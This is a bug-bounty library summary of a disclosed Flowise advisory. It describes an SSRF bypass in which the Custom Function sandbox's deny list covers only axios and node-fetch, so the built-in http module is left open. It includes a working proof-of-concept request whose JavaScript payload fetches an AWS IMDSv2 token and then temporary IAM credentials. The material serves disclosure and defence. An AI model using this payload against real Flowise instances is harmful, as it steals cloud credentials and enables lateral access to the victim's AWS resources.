# Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox

Flowise Custom Function sandbox blocks SSRF only for axios/node-fetch, but allows built-in http/https/net modules, letting authenticated users reach AWS metadata and steal IAM credentials.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: Sn1r
- Disclosed: 2026-04-16
- CVE: CVE-2026-41270
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xhmj-rg95-44hv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xhmj-rg95-44hv
- Tags: area:ai domain:ai impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:nodejs technique:incomplete-fix technique:source-review vuln:access-control vuln:ssrf

**Target:** NodeVM custom function sandbox / node-custom-function API endpoint
**Root cause:** The NodeVM sandbox mocks only axios and node-fetch with HTTP_DENY_LIST-enforcing wrappers, while built-in http, https, and net modules are passed through unprotected via builtinDeps.
**Steps:**
1. Configure instance with `HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,...` and authenticate.
2. Confirm block: POST `/api/v1/node-custom-function` with `const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;` returns 'Access to this host is denied by policy.'
3. Bypass: POST same endpoint with `const http = require('http');` and an http.request to `169.254.169.254` path `/latest/api/token` method `PUT` with header `X-aws-ec2-metadata-token-ttl-seconds: 21600`.
4. Use returned token in second http.request to `/latest/meta-data/iam/security-credentials/{IAM_Role}` with header `X-aws-ec2-metadata-token`.
5. Response returns AccessKeyId, SecretAccessKey, Token.
**How found:** Reporter compared the secureWrappers mock list (axios, node-fetch only) against defaultAllowBuiltInDep, noticing http/https/net were allowed unprotected, then tested the deny-list bypass against the metadata endpoint.
**Exploitation:** Authenticated attacker submits JavaScript to the custom function endpoint; the sandbox permits require('http'), so they issue IMDSv2 token request then fetch IAM role credentials, yielding temporary AWS keys for lateral cloud access.
**Escalation:** Stolen IAM credentials allow pivoting to other cloud resources; also enables internal network scanning and reaching databases/admin panels.
**Insight:** When a sandbox deny-lists network egress by mocking specific libraries, enumerate every other way to open a socket (built-in http/https/net/dgram/dns/tls) — mocking a library is not a network control.

## Proof of concept (copied exactly from the original report)

**Bypass SSRF via built-in http module to steal IAM creds**

```
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}
```

**Baseline axios request blocked by deny list**

```
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}
```

